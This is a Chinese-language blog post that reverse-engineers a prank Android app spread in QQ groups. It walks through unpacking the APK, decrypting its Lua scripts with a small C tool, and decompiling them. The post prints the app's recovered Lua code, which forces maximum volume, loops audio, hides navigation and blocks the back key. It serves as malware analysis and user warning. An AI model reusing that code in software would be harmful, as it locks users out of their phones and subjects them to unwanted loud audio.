最近一些群里出现了会以最大音量外放音频且无法退出的恶搞Android App,造成了一些不好的影响。恰好借这个机会尝试通过逆向工程分析其原理,同时这个App也使用了Lua脚本并进行了加密,也借此机会实践一下Lua脚本解密。
下文中会给出Lua脚本的解密代码,需要使用 GCC/Clang 等C/C++ 编译器进行编译后执行。
我们首先使用Apktool对其进行解包,假设App的文件名为App.apk
java -jar apktool.jar d App.apk
等待执行完后,打开解包生成的App
文件夹
我们需要关注其中几个文件(夹)
assets
,存放资源文件,包含Lua脚本lua
和音频文件mp3
lib
,本地库(Native Library)文件夹,包含编译后的本地代码(Native Code)的so
文件smail
,存放smail
文件,包含Dalvik字节码,是对App的Java代码反向成中立字节码的结果AndroidManifest.xml
,包含App的信息查看AndroidManifest.xml
的内容,可以发现以下样本App信息
送给最好的TA
com.sgzh.dt
进入smail
,我们可以看到Java部分的代码结构,可以看出存在com.androlua
、com.nirenr
、com.luajava
等包名,搜索相关项目可以发现App的大部分代码均来自于AndroLua_pro。
AndroLua_pro是一个使用Lua编写Android应用的项目,换而言之,Java部分极有可能并不是应用的主体部分,重要操作很有可能会写在Lua中。
除了AndroLua_pro的代码外,我们还发现了com.b.a.a
com.b.a.b
这两个经过混淆的包名,经过查证得知里面的代码来源于TextWarrior。
我们得知其Java代码基本都是来源于现有项目,无太大分析价值,我们将分析重点放于Lua脚本上。
在进入Lua部分前,我们使用文本编辑器查看assets
文件中的init.lua
和main.lua
,会发现他们并不是Lua代码,也不是编译后的luac,可以得知Lua脚本被加密了,我们需要先对其进行解密。
AndroLua_Pro所使用的Lua工具LuaJava
会加载依赖库libluajava.so
,我们使用IDA打开这个文件。LuaJava会使用luaL_loadbuffer
或者luaL_loadbufferx
函数对Lua脚本进行加载,这个函数也是一个加入Lua脚本解密代码的常见位置,我们在IDA中找到这一函数,并使用自带插件对其进行反编译,可以看到如下内容
(上图为方便阅读,已反混淆变量名)
与AndroLua_pro的原始代码比较,可以发现加入了Lua脚本解密的代码,我们可以参考这一代码,使用C语言编写一个简单的解密工具
#include
#include
#include
unsigned char *decrypt(const unsigned char *buff, size_t size) {
unsigned char *buff1 = (unsigned char *) malloc(size);
buff1[0] = 27;
int t = 0;
for (int i = 1; i < size; i++) {
t += size;
buff1[i] = buff[i] ^ (t
+ ((unsigned int) (((unsigned long) (-2139062143LL * t) >> 32) + t) >> 7)
+ ((signed int) (((unsigned long) (-2139062143LL * t) >> 32) + t) < 0));
}
return buff1;
}
unsigned char buff[20480];
int main(int argc, char *argv[]) {
char filename[20] = "main.lua";
if (argc == 2)
strcpy(filename,argv[1]);
printf("File name: %s \n", filename);
FILE *fp = fopen(filename, "rb");
size_t size = 0;
size = fread(buff, sizeof(unsigned char), 20480, fp);
printf("File size: %ld \n", size);
unsigned char *res = decrypt(buff, size);
strcat(filename, "c");
FILE *fp1 = fopen(filename, "wb");
fwrite(res, sizeof(unsigned char), size, fp1);
printf("Output: %s", filename);
return 0;
}
编译这一代码为decrypt.exe
,并拷贝到assets
文件夹下,执行以下命令来解密init.lua
和main.lua
decrypt init.lua
decrypt main.lua
解密后的文件为init.luac
与main.luac
,使用文本编辑器观察可以发现其仍然不是Lua代码,而是编译后的luac文件,我们还需要对其进行反编译。
使用unluac可以对luac文件进行反编译,执行以下指令
java -jar unluac.jar init.luac > init-decomp.lua
java -jar unluac.jar main.luac > main-decomp.lua
通过反编译,我们可以得到真正的Lua代码文件init-decomp.lua
和main-decomp.lua
。
查看init-decomp.lua
,代码的用途是声明应用基本信息
local L0_0
appname = "\233\128\129\231\187\153\230\156\128\229\165\189\231\154\132TA"
appver = "1.0"
appcode = "10"
appsdk = "15"
path_pattern = ""
packagename = "com.sgzh.dt"
theme = "Theme_DeviceDefault_Dialog_NoActionBar_MinWidth"
app_key = ""
app_channel = ""
developer = ""
description = ""
debugmode = false
L0_0 = {
"INTERNET",
"WRITE_EXTERNAL_STORAGE"
}
user_permission = L0_0
执行具体功能的代码位于main-decomp.lua
require("import")
import("android.app.*")
import("android.os.*")
import("android.widget.*")
import("android.view.*")
import("android.view.View")
import("android.content.Context")
import("android.media.MediaPlayer")
import("android.media.AudioManager")
import("com.androlua.Ticker")
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
m = MediaPlayer()
m.reset()
m.setDataSource(activity.getLuaDir() .. "/0.mp3")
m.prepare()
m.start()
m.setLooping(true)
ti = Ticker()
ti.Period = 10
function ti.onTick()
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)
end
ti.start()
function onKeyDown(A0_0, A1_1)
if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then
activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI)
end
return true
end
具体的操作有以下内容
0.mp3
虽然这个App是以恶搞为目的,可能App作者并不存在主观恶意,但是这种行为并不值得提倡,经过QQ群的传播,和病毒已经没有本质上的差距,希望以后可以不再发生这样的事情。
对于用户来说,切记不要安装未知应用,这是保护自己和手机的最根本的手段。